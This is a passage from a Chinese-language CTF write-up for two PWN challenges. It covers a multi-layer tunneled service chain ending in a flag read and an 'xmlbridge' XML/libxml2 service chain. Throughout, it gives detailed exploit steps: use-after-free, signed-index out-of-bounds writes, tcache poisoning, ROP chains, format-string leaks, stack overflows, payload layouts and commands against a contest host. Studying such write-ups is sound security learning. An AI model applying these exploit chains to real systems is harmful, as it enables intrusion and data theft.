route+0x38 == mix(route[0..6] ^ key2 ^ 0xBB67AE8584CAA73B)
route+0x20 == rol(sub_4000_runtime ^ key2 ^ route, 21) ← 目标函数地址但 creation 只写 +0x20/+0x28/+0x30 的一部分,+0x28=0x8000000000、其余为 0,正常指令(0x22)写的是 route+0x40+8*idx,够不到 +0x20。
漏洞:0x22 里索引是 movsx 有符号字节、只做 sil > 0x37 的上界检查:
signed char id = body[0]; // 例如 0xFC = -4
if (id > 0x37) error; // 负数全部通过
*(u64*)(route + 8*id + 0x40) = body[8:16];于是 0xFC/0xFD/0xFE/0xFF 分别写 route+0x20 / +0x28 / +0x30 / +0x38,恰好 4 次(byte_70A0[route] 计数上限 4)。把上表的 4 个值算好写进去:
v51 = target ^ obj ^ key2 # 目标基
v48 = rol(v51, 19) # route+0x10
v72 = ror(target ^ rol(obj,13) ^ K58, 27) # route+0x18
target = rol(sub_4000 ^ key2 ^ route, 21) # route+0x20
chain = slice chain # route+0x28再 0x23 送 [0,1,2,3] 四个 slice 槽位,broker 通过 sub_4000 连上 attestor、代发 RA4/BROKER…,回 RB4/ATTEST。
4. 第 2 层:routeattestor(0x51 → RA4/VAULT)
4.1 对象
op | 作用 |
0x10/0x11/0x12 | 建/链/释放 probe( |
0x13/0x14 | dump 0x50 / 整块写 0x120 freed 块 |
0x20 | 建 pass( |
0x30/0x31/0x32 | 建/链/释放 tauil( |
0x33/0x34 | dump 0x50 / 整块写 0x180 freed 块 |
0x40 | 建 tauil |
0x41 | 相对写(目标 |
0x50/0x51 | 建 seal( |
0x60 | 隧道到 vault( |
4.2 泄漏 key
先 0x30 建 tauil → 0x31 link 到别名 → 0x32 free → 0x40 再建一个 tauil(复用同一块,0x33 dump 出来就是它),从字段反 key:
K60 = ror(buf[0x10], 19) ^ (obj+0x80) ^ obj; // qword_7060
sub23f0 = buf[0x38] ^ ror(obj, 9) ^ K60; // 运行地址
K58 = rol(buf[0x18], 27) ^ (obj+0x80) ^ rol(obj,13); // qword_7058
base = sub23f0 - 0x23F0;4.3 关卡是死的,直接改 .bss
seal 对象生成时 +0x10 里编码的是 sub_2400,而门的校验也只会算出 sub_2400,永远调不到 sub_4000,dword_7040 永远 0 → 0x51 必定失败。所以必须在内存里改东西。
0x41 的检查(汇编确认,不要信反编译的变量名):
if (obj+0x30 != obj) err; // self
if (obj[0x20] != mix(cnt ^ v48 ^ K60 ^ ror(K58,11) ^ rol(v72,7) ^ 0x8F2BE7D0C59EF568)) err;
if (rol(v72,27) ^ rol(obj,13) ^ K58 != ror(v48,19) ^ K60 ^ obj) err;
if (v48 == (K60 ^ obj)) err;
if (off + len > u32(obj+0x2c)) err; // 这里 +0x2c 就是 +44
if (n != len + 4) err;
p = u32(obj+0x28) + off + (ror(v48,19) ^ K60 ^ obj);
memcpy(p, body+4, len);v48 = obj[0x10]、v72 = obj[0x18]。选 v51 = ror(v48,19) 为写目标基址(off=0、u32(obj+0x28)=0),反推:
target = (base + 0x7040) # attestor .bss: dword_7040
v51 = target ^ obj ^ K60
v48 = rol(v51, 19)
v72 = ror(target ^ rol(obj,13) ^ K58, 27)
nh = mix(cnt ^ v48 ^ K60 ^ ror(K58,11) ^ rol(v72,7) ^ 0x8F2BE7D0C59EF568)
img = dump + zeros; patch +0x10/+0x18/+0x20
0x34 -> 写回整块(经别名,UAF)
0x41 -> body = struct.pack("<HH",0,4)+struct.pack("<I",1) # 写 4 字节 1 到 dword_7040然后 0x50 建 seal、0x51 通过 → RA4/VAULT,0x60 就把帧转进 vault。
5. 第 3 层:routevault(opcode 46 → dword_704C)
5.1 协议
请求 magic "RLV3"=0x33564C52,回包 "RLR3";16<=len<=0x610,bodylen==len-16,seq 严格递增。
op | 作用 |
0x7F | ping → |
5 | 字节码“查询”:可读 |
6 | 解锁(8 字节口令)→ |
24/25/26/27/28 | 建/链/读/释/整块写 0x140 的 |
40/41/42/43/44/45 | 建/链/读/释/回收/带鉴权写 0x400 的 |
46 | 关卡 → |
96 | 隧道到 ledger( |
5.2 用 opcode 5 的负索引泄漏控制块
qword_71E0 = calloc(1,0x130) 是每会话的“控制块”:+0 key0、+8 key8、+16 key16、+24 self、+32 &sub_2680、+40 key40。
opcode 5 的 body 是 16 字节记录序列([type][val][u16 ck][u32 0][...],ck = ((val ^ 97k ^ (type<<8)) & 0xffff) ^ 0x4D27),其中 '-' 记录会把有符号字节 val 累加到游标,'C' 记录读 *(u64*)(qword_71E0 + 8*cursor + 0x30)。
游标没有下界检查,传 val=0xFA..0xFF(-6..-1)就能读到 +0x00..+0x28:
rel = -6..-1
rec = bytes([ord('-'), rel & 0xff]) + ck ... + bytes([ord('C'),0]) + ck ... + bytes([ord('y'),0]) + ck于是拿到 key0/key8/key16/区块地址/&sub_2680/key40,base = key32 - 0x2680。
口令:
pass = rol(key0 ^ key24 ^ key32 ^ key40 ^ 0x452821E638D01377, 19)opcode 6 + pass → 0x81,解锁。
5.3 伪造两张票据
RTICKET3(0x140):24 建(calloc(0x140),+8 来自 body)→ 25 link → 26 dump 拿到 A = dump[0x10] ^ key8(自地址)→ 27 free → 28 整块 0x140 写:
+0x00 "RTICKET3"
+0x08 body_qword
+0x10 B ^ key8
+0x18 X
+0x20 rol(key40 ^ key8 ^ X ^ A, 17)
+0x28 1
+0x30 mix1(A[0..5] ^ key8 ^ key40 ^ 0xBE5466CF34E90C6C)RCNTEXT3(0x400):40 建 → 41 link → 42 dump A = dump[8] ^ key8 → 43 free → 44 回收(malloc(0x400)==A 时把前 0x30 抹成 0xA5)→ 45 四次、每次 256 字节、带鉴权写满:
+0x00 "RCNTEXT3"
+0x08 A ^ key8
+0x10 B
+0x18 X
+0x20 rol(A ^ key16 ^ (base+0x2670), 21) ← 目标函数指针
+0x28 0x3C0
+0x30 1
+0x38 mix1(A[0..6] ^ key16 ^ key40 ^ 0xC0AC29B7C97C50DD)
45 的鉴权: tok = rol(chunk ^ (0x9E3779B97F4A7C15*bank) ^ key40 ^ key16, bank+13)5.4 sub_2670 是栈迁移
sub_2670: endbr64
lea rsp, [rdi+0x40]
retopcode 46 校验通过后 p_sub_2670()(rdi 仍是 A)→ rsp = A+0x40,紧接着 ret 从 A+0x40 取下一跳。在 A 里布置 ROP:
A+0x40: base+0x2954 (pop rdi; ret)
A+0x48: A
A+0x50: base+0x4000 (sub_4000)
A+0x58: base+0x2954 (pop rdi; ret)
A+0x60: A+0x3B0
A+0x68: base+0x2670 (二次迁移, rsp=A+0x3F0)
A+0x3F0: base+0x37A5sub_4000 校验放在 A+0x240..0x2A8 的伪造 "RLEDGER5" 大对象后把 dword_704C=1;二次迁移回到 opcode 46 的后续代码发 0xE6,主循环继续可用(rsp 落在 A 里,单次调用深度 <0x200,够用)。
之后 opcode 96:bodylen-16<=0x5F0 且 dword_704C!=0,向 fd3 写 u32 len + body(body 是完整 ledger 帧),读回 u32 len + 帧,回 0xB0。
6. 第 4 层:routeledger(tcache 毒化 → RL5/COUNCIL)
6.1 信息白给 + manifest VM
0x7Fping 直接返回 48 字节:ctx+0x200的keyE[4]+"LGMODMV5";0x10是一个 16 字节指令块的“manifest VM”([op][idx][off][0][u16 chk][…],chk=(0x73*i)^(16*idx)^off^(op<<8)^0x5D39,必须恰好 6 个0x83、0xA6收尾)。其中'q'的游标是有符号且只查上界,ctx+0xC0+8*cursor可以负索引;4 次调用(每次 6 个连续项)dumpctx[-24..-1]的 12 对(tag,value),反推key0/key1/key2[4]/keyD0/keyD1/keyF,并用ERMIT/RELAY/LGPIE三路交叉验证出 PIE base。
6.2 解锁
0x11 需要 ctx+0x228==0xF 且 dword_6028==0,body 是两个哈希:
H(k2,"LUNLOCK5",key0,key1,keyF,kD0) || H(k2,"LTNLOCK5",X,kD1,keyE0,keyE3)注意 keyF 被 4 次 manifest 用 keyF = mix(keyF ^ H(k2, idx^"LGMODMV5", o0,o1,o4,o5)) 滚动更新过,要按顺序算。
6.3 真正的门:两次 tcache safe-linking 投毒
这不是“过校验”,而是把伪造对象写进 .bss:
0x20建 0x98 的RLGMANF5对 →0x21free →0x22dump 40B,解自地址obj = dump[0x10] ^ mix("RLGMANF5" ^ key0 ^ 1);0x23写body0 = &0x6270 ^ (obj>>12)、body1 = H("bLGMANF5", …)(glibc 2.35 的 safe-linking 需要pos >> 12);0x24连做两次malloc(0x98):第一块拿回 obj、第二块落到.bss 0x6270,把完整的假"LPERMIT5"对象写进去;- 同法用
0x30/0x31/0x32/0x33/0x34把假"RLRELAY5"写到.bss 0x6070; 0x40校验通过 →dword_6024=1→ 回RL5/COUNCIL。
0x60 隧道写 u32 len + body 给 fd3(council),读回 u32 len + payload,0xB1 原样返回。
7. 第 5 层:routecouncil(有符号 idx 泄漏 + 投毒 → flag)
7.1 先泄漏 key 与 base
- 连接后先发前缀
RC5/LEDGER/COUNC,之后请求 magic"RNC5",回包"RNR5"; 0x10 idx=0xFC..0xFF:idx是有符号字节,条件(u8)(ptra-4)==idx且(signed)idx<=3,而ptra初值 0 →0xFC..0xFF恰好通过,每次回0x80 + 4 个 qword,4 次把::buf_[0..15]全泄漏出来,同时把ptra推到 4。
解码(i 是第几次,j 是组内下标):
u = S((i<<32) | j) # S = splitmix 主体
V = ror(val, (11*i + 5 + j) & 63) ^ u ^ (u>>31)
# 偶数列是常量字符串:CCNONCE5/CCTICKT5/CNCKEY05/CNCKEY15/CNCKEY25/CNCKEY35/CNCALT05/CNCALT15
NONCE = V0 ^ m(S("CCNONCE5" ^ NONCE)) ... 以此类推
K0 = V ^ m(S("CCNONCE5" ^ NONCE))
K1 = V ^ m(S("CCTICKT5" ^ K0))
K2 = V ^ m(S("CNCKEY05" ^ K0 ^ K1))
K3 = V ^ m(S("CNCKEY15" ^ K0 ^ K2))
K4 = V + m(S((K3+K1+"CNCKEY25") & M))
K5 = V ^ m(S("CNCKEY35" ^ K0)) ^ rol(K4, 25)
ALT0 = V ^ H("CNCALT05", K0,K1,K2,0)
ALT1 = V ^ H("CNCALT15", K1,K0,K5,0)0x7Fping 回 32 字节,其中两个 XOR 式泄漏 PIE base(两式互验):
V1 = sub_2740 ^ H("SORACLE5", K0,K1,NONCE,0)
V2 = (base+0x50d0) ^ H("cORACLE5", K1,K0,NONCE,0)7.2 RLE 过 sub_2740
0x20 的 body 固定 1024 字节,是 [count][value]… 的 RLE;必须 512 组、每组 count=1,展开恰好 512 字节且字节和 mod 256==0。这 512 字节被写到 .bss 0x5260:
- 前 0x100:32 个
dst_[i] = H(i ^ "CNCPLAN5", K0,K1,ALT[i&1], i); - 后 0x100:
.bss 0x5360的"CNCPRMT5"对象(+8 K0/+0x10 K1/+0x18 &0x5360/+0x20 &0x50d0/+0x28 &0x2740/+0x30 chain/+0x38.. h1..h4/+0x58 final/+0x60 1)。
chain 从 K0^K1^"CNCPLAN5" 起,32 轮 st = sp(rol(dst_[i], (3+7i)&63) ^ i ^ st);h1..h4/final 见 notes/council.md,全部用上面的 H(10 轮魔改 Feistel,参数顺序在 gate 里是 rcx=NONCE, r8=K1,别弄反)。通过后 dword_5070=1。
7.3 投毒写 gate 对象
0x30建两个 0x178 的CNCBALLOT5(0x5060/0x5068);0x31依次 free(0x5050=obj1, 0x5048=1);0x32dump 40B 解obj1 = field10 ^ u ^ (u>>31)(u=S(K0 ^ 1 ^ "CBALLOT5"));0x33写body0 = (base+0x50d0) ^ (obj1>>12)、body1 = H("sBALLOT5", …),然后*obj1 = body0—— tcache safe-linking 投毒;0x34两次malloc(0x178):第一块拿回 obj1、第二块落到.bss 0x50d0,两段 memcpy 把 0x178 的"CNCGATE5"gate 对象写进去(n2=2)。
7.4 总关卡 → flag
0x40 九项校验(gate 头、K0/K1、&0x5360、[0x53b8]、n2==2、函数指针等于 base+0x2c80 等)全过后,sub_2C80 执行:
lseek(4, 0, SEEK_SET);
read(4, buf, 0x100);
reply(0xC0, buf);fd 4 就是 council 启动时 open("/home/ctf/council.flag") 后 dup2 的只读 flag。
8. 集成:一条 Redis 连接串六层
难点不在单层,而在“隧道套隧道”:
module relay.tunnel ─→ broker 0x40 ─→ attestor 0x60 ─→ vault opcode 96 ─→ ledger 0x60 ─→ council四条硬规则:
- 前缀一个都别自己发:每层前缀由它的父进程在
accept后代发(attestor 发RA4/BROKER…、vault 发RV4/ATTEST…、ledger 发RL5/VAULT/LEDGER、council 发RC5/LEDGER/COUNC); - seq 跨层接续:vault 里先用 ledger
seq=1发 ping 验隧道,之后state['ledger'].seq置 2 才能给ledger_lib.run();ledger 结尾用 councilseq=1发CNCPLAN5,所以 council 注入端从seq=2起; - 帧长上限:vault
opcode 96的 body/回包都限0x600;最大的帧是 council0x20(council 包 1040B → ledger 帧 1056B → vault body 1056B),刚好过; - 远端不重启:
exp_chain.py只有在本地模式才pkill redis,远端失败只sleep 2后新开连接重试;CLIENT/MODULE被禁用也不影响(CLIENT ID只用于文档里的 key1,实际镜像用 snapshot 给的字段)。
stamp 地址改成 stampinfo 泄漏后,甚至不再要求 redis 是全新进程,本地/远端一套代码。
9. 复现
# 本地 lab(WSL):六件套 + redis
bash work/scripts/lab_start.sh
python3 work/scripts/exp_chain.py --host 127.0.0.1 --port 6399
# 远端
python3 work/scripts/exp_chain.py --host 1.14.76.59 --port 18413 --timeout 20实测(远端):
[+] relay armed (obj=0x7f814c643000, stamps=[0x...9500, 0x...9400, 0x...9200])
[+] broker gate: op=0xa3 body=b'RB4/ATTEST'
[*] attestor gate: op=0xe1 body=b'RA4/VAULT'
[vault] opcode 46 -> op 0xE6 (dword_704C=1) -> opcode 96 -> op 0xB0
[+] vault->ledger 隧道 OK: ledger b'LGR5' op=0x70 ... LGMODMV5
[ledger] permit/relay template -> .bss, council gate ok (dword_6024=1) -> RL5/COUNCIL
[+] ledger->council 隧道 OK: council b'RNR5' op=0x70 body=b'CNCPLAN5'
[+] FLAG: DASCTF{49190317460119079416855869891465}10. 复盘:六个“同构不同形”的点
层 | 漏洞形态 |
模块 | 对象释放-复用让 snapshot 读到 ledger 头 → key/地址泄漏;stampinfo 泄漏 stamp 自地址 |
broker | UAF 写 + 相对代码任意读;有符号索引写 route 头 |
attestor | freed 块复用后整块写;相对写直接改 |
vault | 字节码 VM 的负索引读控制块; |
ledger | manifest VM 负索引泄漏 key;tcache safe-linking 两次投毒写 |
council | 有符号 idx 泄漏 |
共同的出题套路:随机 key 全在 .bss 控制块里,且每层都留了一个“能读控制块”或“能写 .bss”的口子;“关卡”被设计成合法路径走不通(attestor 的 sub_2400 vs sub_4000、vault 的栈迁移),必须用内存原语绕过。只要把每层的 ready 标志 或 gate 对象换成自己伪造的,隧道就打通。
四、xmlbridge(PWN,已解)
羊城杯 2026 PWN — xmlbridge Writeup
题目:xmlbridge(XML 桥接与清单保险库利用)
靶机:nc 1.14.76.59 23875(容器内 listener 9999)
结果:DASCTF{70327800596870093690811579077759}(两次独立连接一致)
附件:5 个服务 + listener + 精确 libc 2.35 / libxml2 2.9.13
0. 一句话总结
题目是一条五级服务链:
listener(TCP:9999)
└─exec─> xmlbridge ──unix──> broker ──unix──> manifestvault ──unix──> keeper ──unix──> oracle
/run/xmlbridge/broker.sock(0666) manifest.sock(0660) keeper.sock(0660) oracle.sock(0660)只有最后的 oracle 能读 /home/ctf/flag。最外层 xmlbridge 的 D 操作要求qword_60A0 && *(u32*)(qword_60A0+4) == 1,而这个 0x420 缓冲在 A 里只被memset 清零——正常协议永远过不去。
本题的核心 trick 是:A 里 xmlDictCreate() 的 entry 表(128 × 0x20 = 0x1000)
恰好紧挨着网关缓冲 s_2;DTD 校验的未声明元素错误回调会把 dict->size 从
128 加 1 变成 129;之后只要 intern 到任意一个 hash % 129 == 128 的名字,
dict 表末尾越界 entry 的 valid = 1 就落在 s_2 + 4 上,网关同时被 B/D 通过。
过网关后,因为整条链都是「2 字节大端长度 + 正文」分帧,而 D 的转发正好是
「2 字节长度帧进、2 字节长度帧出」,所以后面四级服务可以原样塞进 D 隧道跑完。
1. 环境与保护
对象 | 保护 / 版本 |
xmlbridge | PIE、Full RELRO、Canary、NX(GCC 11.4,Ubuntu 22.04) |
libc | 2.35-0ubuntu3.15 |
libxml2 | 2.9.13(jammy 包,常见 CVE 已修) |
listener 逻辑很简单:accept → fork → dup2(fd,0/1)、open("/dev/null")dup2 到 2 → execve("/home/ctf/xmlbridge", {path, NULL}, environ)。
所以 stderr 被丢弃,每个 TCP 连接都对应一个全新的 xmlbridge 进程;
每跳后端服务都是 per-connection 会话。
分帧
- 前端(客户端 ↔ xmlbridge):
1 字节 opcode + 4 字节大端长度 + 正文。 - 所有后端(broker/manifest/keeper/oracle,包括代理转发):
2 字节大端长度 + 正文。 D的回复在 xmlbridge 里再包一层4 字节大端长度 + 正文。
2. xmlbridge 前端
2.1 协议与状态机
op | 含义 | 前置状态 | 关键动作 |
| 提交模板 XML(根 | 0 | 解析后把 |
| 导入修订 XML(根 | 1 | 解析,分配 0x78 session( |
| 修订文字(≤0x80) | 2 |
|
| 封存修订 | 3 |
|
| 生成快照 | 4 | 0x78 假 text 节点 + 0x500 缓冲(填 |
| 编辑快照 | 5 |
|
| 附件首段 | 6 | 建 push parser:自定义 dict、实体加载器、结构化错误回调,选项 |
| 附件末段 | 7 | 结束解析,校验网关,输出 |
| 预览 | 5/6 |
|
| 转交归档服务 | 8 + 网关 |
|
关键全局:
qword_6060 L 的 item 节点(已随 L doc 释放,悬空)
qword_6068 I 的 session 结构
qword_6070 I 的 doc
qword_6078 I 的 root
qword_6088 A 的 parser ctxt
qword_6098 S 的 0x500 快照缓冲
qword_60A0 A 的第二块 0x420(网关缓冲 s_2)
qword_60B0 A 的第一块 0x420(未使用)2.2 已确认的堆原语
- L→R 节点 UAF:L 保存
item后xmlFreeDoc;R 再对这块调用xmlNodeSetContent。用单个<item>时,item块会被 I 的 session 结构复用
(qword_6060 == qword_6068),R 实际改写 session 的 children/last。 - S/E 的假 text 节点:S 在 0x78 块上伪造
{type=3, name="text", doc=I doc, content=0x500 缓冲};E 对它调用xmlNodeSetContent时会把 0x500 缓冲 free 进 unsorted bin(0x510 > tcache 上限)。 - DTD 错误回调:A 开了
DTDVALID,遇到未声明元素触发XML_DTD_UNKNOWN_ELEM(534),回调sub_3147执行++*(u64*)([0x6098]+0x10),并把ctxt->validate = 0。
2.3 网关
B(sub_33E7)与 D(sub_2900)都检查:
ctxt->myDoc && ctxt->wellFormed && qword_60A0 && *(u32*)(qword_60A0 + 4) == 1A(sub_31FD)的分配顺序:
malloc(0x40); malloc(0x40); // qword_60C0 / qword_60C8,后续未使用
v1 = xmlDictCreate(); // dict 结构 0x40 + 128 项 entry 表 0x1000
qword_60B0 = malloc(0x420); // 第一块(未使用)
s_2 = malloc(0x420); // qword_60A0
memset(s_2, 0, 0x420); // 网关缓冲被清零
qword_6088 = xmlCreatePushParserCtxt(NULL, NULL, NULL, 0, "attachment.xml");
xmlDictFree(ctxt->dict); ctxt->dict = v1;
xmlSetExternalEntityLoader(sub_3089);
xmlSetStructuredErrorFunc(NULL, sub_3147);
xmlCtxtUseOptions(ctxt, 0x817); // RECOVER|NOENT|DTDLOAD|DTDVALID|NONET
dword_60D4 = 0;
xmlParseChunk(ctxt, buf, len, 0); // A 的正文全二进制只有 A 里一条写 qword_60A0 的指令(malloc 结果),没有任何指令写[qword_60A0+4]。所以网关必须靠内存破坏。
3. 核心突破:dict 表越界写 s_2+4
3.1 先看 A 的堆布局
用下面这组前端消息(这是实测布局):
L = <sheet><item>LLLLLLLL...(0x20 字节文本)</item></sheet>
I = <root><target>TTTT...(0x100 字节文本)</target></root>
R = "hi"
C
S
E = "wo"E 把 S 的 0x500 缓冲 s_1 free 进 unsorted bin。A 的分配会切这块,
实测(相对 s_1 的偏移):
s_1 (0x500) = X
dict 结构 (0x40) = X ← 0x40 分配切到 s_1 起点
dict entry 表 (0x1000) = X + 0x5A0 ← 128 * 0x20
s_2 (0x420, 网关缓冲) = X + 0x5B0 ← 紧跟在 entry 表后面也就是说:
&dict->dict[128] = table + 0x1000
= (&s_2 - 0x10) // s_2 的 chunk 头
entry[128].valid = *(u32*)(table + 0x1000 + 0x14)
= *(u32*)(s_2 + 4) // ★ 网关要的 +43.2 把 dict->size 改成 129
sub_3147 的 ++*(u64*)([0x6098]+0x10) 以前看起来只是「已释放块+0x10」,
但 [0x6098] = s_1,而 A 的 dict 结构恰好复用了 s_1 的起点:
s_1 + 0x10 == dict + 0x10 == &dict->size于是 128 → 129。xmlDictLookup 里:
okey = xmlDictComputeKey(dict, name, len);
key = okey % dict->size; // size == 129
...
entry = &dict->dict[key]; // key 可以取到 128
entry->name = ret; // 写到 s_2 - 0x8(chunk size)
entry->len = l; // 写到 s_2 + 0
entry->valid = 1; // ★ 写到 s_2 + 4
entry->okey = okey; // 写到 s_2 + 8插入前会先读 dict->dict[128].valid,即 *(u32*)(s_2+4);A 的 memset 刚把s_2 清零,所以读到 0,走插入路径,valid = 1 落下。
3.3 触发条件与爆破
A 的正文需要:
- 一段 DTD(让
DTDVALID有东西可校验); - 一个未声明元素,触发 534;
- 之后大量不同的元素名,让某个名字的 hash 命中 128。
实测 payload:
<!DOCTYPE root [<!ELEMENT root ANY>]>
<root><zzz/>
<n0000/><n0001/>...<n0119/>
</root><zzz/>未在 DTD 中声明 → 534 → 回调把dict->size改成 129,并把ctxt->validate=0(后面不再报错,解析继续)。- 之后的
nXXXX每出现一个新名字就xmlDictLookup一次;dict 的 hash seed
每个进程随机,所以哪个名字命中 128 不可预知。 - 用 120~300 个不同名字,多开几个 TCP 连接(每次 exec 新进程、新 seed),
几次之内就能命中;命中后B直接回DOC(不再ERR)。
注意:越界 entry 会把
s_2的 chunk size 改成 dict 字符串指针,但s_2
之后不会被 free,实测不影响B/D继续执行。
3.4 为什么不是别的写
之前尝试过的写法都对不上:
- 错误回调写的是
s_1 + 0x10,和网关的s_2 + 4差 0xC;malloc 16 字节对齐,
没法让s_2 = s_1 + 0xC。 P的预览只能 dump 文档,没有地址泄露。- 直接改
.bss需要 PIE 泄露,前端没有。
真正的通路是「复用 s_1 的 dict 结构 + dict 表紧邻 s_2 + 表末尾 entry 的valid 字段在 +0x14」这三件事凑在一起。
4. 把整条链塞进 D
D(sub_2900)的转发逻辑:
客户端 D 正文
→ 2 字节长度 + 正文 发给 broker.sock
→ 从 broker.sock 读 2 字节长度 + 正文
→ 4 字节大端长度 + 正文 回给客户端broker/manifest/keeper/oracle 的协议本来就是「2 字节长度 + 正文」,
所以 D 的每一次调用正好对应后端的一次请求/回复。过网关后,
把 pwn_chain.py 里的 Conn("/run/xmlbridge/broker.sock") 换成
「每次 sendmsg 走一次 D,recvmsg 取 D 回包」的适配器即可,后面所有
阶段代码不用改。
class DConn:
def __init__(self, fe):
self.fe = fe
self.pending = None
def sendmsg(self, data):
st, body = self.fe.op(b"D", data) # 前端 op,返回 (状态, 正文)
if st != "OK":
raise EOFError(body)
self.pending = body
def recvmsg(self):
b = self.pending; self.pending = None
return b5. broker
5.1 协议状态机
0 OPEN <receipt xml> -> TICKET xxxxxxxx n2=1
1 ARCHIVE -> ARCHIVED(free 收据) n2=2
2/6/9/12/15 NOTE <note> -> NOTED(malloc 0x90,可重占已释放收据)
3/7/10/13 VIEW -> WINDOW + 7 字节泄露
4/8/11/14 RELEASE -> RELEASED(free NOTE)
5 DRAFT -> DRAFTED(malloc 0x380,存到全局 ::s1)
16 WRITE <draft> -> WRITTEN(hex 解码 0x380 到 ::s1)
17 COMMIT -> sub_1EFB(::s1, 收据[6]) 栈溢出5.2 漏洞
- 收据 UAF:ARCHIVE 释放收据后仍保留悬空指针;之后同尺寸的 NOTE
(0x90)会复用它,所以可以用 288 个十六进制字符伪造整张收据。 - VIEW 任意地址读:
sub_1E0A把收据+40处的有符号偏移加到&sub_1E0A上,读 8 字节(回显低 7 字节):*(u64*)(&sub_1E0A + off),偏移限制 ±0x7000。 - COMMIT 栈溢出:
sub_1EFB把 0x380 字节拷进 256 字节栈缓冲,
且没有 canary,直接控制leave; ret。 - 网关
sub_1844的哈希收据校验只是转发器外壳;直接跳到0x1A33
(跳过校验的转发循环)即可。
5.3 利用
# 伪造 VIEW 收据:RCPTv2 | ticket | REVIEW | READY | off | 8
off1 = 0x5048 - 0x1E0A # 读 p_sub_1E0A -> PIE
off2 = 0x5038 - 0x1E0A # 读 ::s1(DRAFT 缓冲)-> 堆地址OPEN、ARCHIVE;- NOTE 伪造 VIEW 收据,VIEW 泄露 PIE;RELEASE;
DRAFT,NOTE 伪造 VIEW 收据,VIEW 泄露 DRAFT 地址;RELEASE;- 再走两轮 NOTE/VIEW/RELEASE 过状态机;
- NOTE 伪造 COMMIT 收据(
PRIVATE/READY,+48 = 0x380); WRITE写溢出载荷:+0x100放 DRAFT 地址作为新 rbp,+0x108放PIE + 0x1A33;COMMIT→ 跳进转发器 →BRIDGE\n,broker 开始在客户端与
manifestvault 之间透明转发。
6. manifestvault
6.1 协议
0 HELLO -> MV3 <secret> state=1
1/2 MINT <16hex> -> TICKET <ticket> state++
3 INDEX <t1> -> INDEXED state=4(保存 dest1、t1)
4 DROP <t2> -> DROPPED free dest2, state=5
5 DROP <t1> -> DROPPED free dest1, state=6
6 GLANCE <t1> -> TRACE q4 q5 q6 泄露已释放 MANIFEST 的 +0x20/+0x28/+0x30
7 CORRECT <t1> <v16> <v17>-> CORRECTED *dest1 = v16(tcache next 污染)
8/9 LAYER <288B> -> LAYERED malloc(0x120) 任意写
10 TRIGGER -> MANIFEST 调用 sub_1B46 代理 keeper6.2 MANIFEST 结构与泄露
MINT 生成 0x120 的 MANIFEST:
+0x10 = dest
+0x18 = ticket
+0x20 = hash(ticket ^ secret) ^ dest
+0x28 = ticket ^ rol(secret,17) ^ &sub_1A28 // PIE 泄露
+0x30 = hash(dest ^ ticket ^ secret ^ &sub_1A28) // GLANCE 的 q6GLANCE 拿到 q4/q5/q6 后:
dest1 = q4 ^ splitmix(t1 ^ secret)
pie = (q5 ^ t1 ^ rol(secret, 17)) - 0x1A286.3 tcache 污染 + 写 .bss
CORRECT 的校验:
v16 = target ^ (dest1 >> 12) # safe-linking
target = pie + 0x5020
v17 = splitmix(secret ^ v16 ^ q6 ^ t1)通过后把 v16 写到已释放的 dest1 头部,也就是 tcache 的 next。
两次 LAYER(每次 0x120 字节):
- 第一次
malloc(0x120)取走dest1,tcache 头变成target; - 第二次
malloc(0x120)返回PIE + 0x5020,288 字节memcpy直接改写.bss里的门对象:
blob[0:8] = b"MNFSTv3\x00"
blob[8:16] = p64(3)
blob[16:24] = p64(pie + 0x1B46) # keeper 代理函数
blob[24:32] = p64(secret)
blob[32:40] = p64(t1 ^ rol(t2, 9)) # v24
blob[40:48] = p64((pie + 0x1B46) ^ splitmix(secret ^ t1) ^ 0x4D414E4946455354) # v25
blob[48:56] = p64(rol((t2 + pie + 0x1B46) & M64, 23) ^ splitmix(secret)) # v26TRIGGER 校验通过后调用 sub_1B46,回 MANIFEST\n 并把连接代理到 keeper。
7. keeper
7.1 协议与格式化字符串
HELLO\n -> K4 <token>
AUDIT <fmt>\n -> snprintf(dst, 0x200, fmt, token, &sub_176B,
canary ^ hash(token), fd_pair)
COMMIT <data> -> sub_1960(src+1, len-7)AUDIT 最多两次,第二次只是为了把内部计数推到 2。格式化字符串:
AUDIT %2$lx.%3$lx.
-> <&sub_176B>.<canary ^ hash(token)>.于是:
kpie = sub_176B - 0x176B
canary = (canary ^ splitmix(token)) ^ splitmix(token)7.2 COMMIT 栈溢出
sub_1960 把 len-7 字节拷进 256 字节栈缓冲,最多可写 768 字节,canary 已泄露:
data = b"A" * 264
data += p64(canary)
data += p64(0)
data += p64(kpie + 0x176B) # ROP 到 keeper 代理
COMMIT <data>sub_176B 向客户端写 KEEPER\n 并把连接代理到 oracle。keeper 的 seccomp
屏蔽 execve/open,但 read/write 正常。
8. oracle
8.1 协议与 VM
HELLO\n -> O5 <token>
PROGRAM <16 字节> -> LOADED
RUN\n -> 执行结果VM 检查(a1 为 4 个寄存器的数组):
*(u64*)(a1 + 0x10) == &sub_16B6 // r2
*(u64*)(a1 + 0x08) == splitmix(*(u64*)a1 ^ MAGIC) // r1 = hash(r0 ^ MAGIC)
*(u64*)(a1 + 0x18) == r1 ^ rol(r2 ^ r0, 21) // r3
...
((void (*)(void))r2)(); // 调 r2,sub_16B6 读 /home/ctf/flag寄存器下标是有符号 byte:
idx = -4..-1 -> a1 + 0x00 .. a1 + 0x18 (r0..r3)
idx = 0..7 -> a1 + 0x20 ..初始 r2 = &sub_1684,不满足校验,需要改寄存器。
指令格式:
def instr(op, a1, a2=0, imm=0):
return bytes([op & 0xff, a1 & 0xff, a2 & 0xff]) + b"\x00" * 5 + p64(imm)8.2 泄露 + 改寄存器 + 取 flag
PROGRAM instr(1, -2)(push r2 =&sub_1684),RUN→TRACE <&sub_1684>;pie = leak - 0x1684。token即 r0;MAGIC = 0x4F5241434C453576;r1 = splitmix(token ^ MAGIC);r2 = pie + 0x16B6;r3 = r1 ^ rol(r2 ^ token, 21)。- 下发三条指令:
prog = instr(2, -2, 0, r2) # 写 r2
prog += instr(2, -1, 0, r3) # 写 r3
prog += instr(4, 0, 0, 0) # 触发 opcode 4RUN→sub_16B6读/home/ctf/flag并原样发回。
9. 完整远程利用
脚本:remote_full.py
1. TCP 连接 1.14.76.59:23875
2. 发 L/I/R/C/S/E,A 发 DTD + <zzz/> + 120/300 个不同名字
3. B 直到回 "DOC "(dict seed 随机,多试几个连接)
4. 之后每帧用 D 操作码:
发送 2 字节长度帧(broker/manifest/keeper/oracle 原帧)
读取 4 字节长度 + 正文
5. 复用 pwn_chain.py 的 broker_stage -> manifest_stage -> keeper_stage -> oracle_stage实测(2026-10-24,第 2 次连接过网关):
[+] GATE PASSED at attempt 1
